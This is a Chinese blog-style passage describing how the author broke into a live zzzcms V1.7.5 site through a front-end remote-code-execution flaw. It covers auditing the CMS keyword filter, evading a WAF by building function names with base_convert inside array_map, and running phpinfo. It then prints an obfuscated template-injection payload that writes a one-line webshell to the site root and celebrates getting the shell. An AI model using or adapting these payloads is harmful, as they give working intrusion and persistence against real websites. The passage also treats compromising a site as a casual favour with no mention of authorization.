再回正题(zzzcmsV1.7.5前台rce)
激动的心,颤抖的手,怀着忐忑的心情,打算告诉妹子我准备好了,点开她的头像,拍了拍她
只需要拿下站点,她可能会表示感谢请我吃一顿饭,然后…
我们打开了站点,先根据妹子提供poc,先执行一波phpinfo,无法执行
进一步测试执行其他命令也返回了403,应该是被waf拦了
fuzz一波发现关键函数和一些常用命令被拦的拦,过滤的过滤,反正就是都没成功执行
黑盒无果,准备审计一波源码
根据版本官网提供的源码定位到了如下过滤函数的位置,跟踪danger_key,看看都过滤了什么
不看不知道,一看吓一跳,啥东西,这开发绝对是作了宁错杀也不可放过的准备(php都给给过滤了,怪不得phpinfo都没法执行)
分析了下这个函数,关键字被替换为*,单引号和双引号被转义,只要不出现关键字单引号和双引号就OK了
经过一番咨询,大佬告诉我还有array_map这个函数也可以执行命令,光有函数还不行,常用命令也被拦截,为了执行命令,首先把phpinfo从32进制转换为10进制
再通过php中的base_convert函数,再把10进制转为32进制,这样就能绕过waf与网站本身的检测,一箭双雕,构造好的poc如下
array_map(base_convert(27440799224,10,32),array(1))
通过构造好的poc,我们成功执行phpinfo命令
接下来的通过相同操作将一句话copy进网站根目录,成功拿到shell
{if:array_map(base_convert(591910,10,36),array(base_convert(831805,10,36).(base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(1,10,36))),array((base_convert(1,10,36)).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(33037,10,36))))}{end if}
拿到shell心情美滋滋!
总结
见招拆招, Impossible ==> I’m possible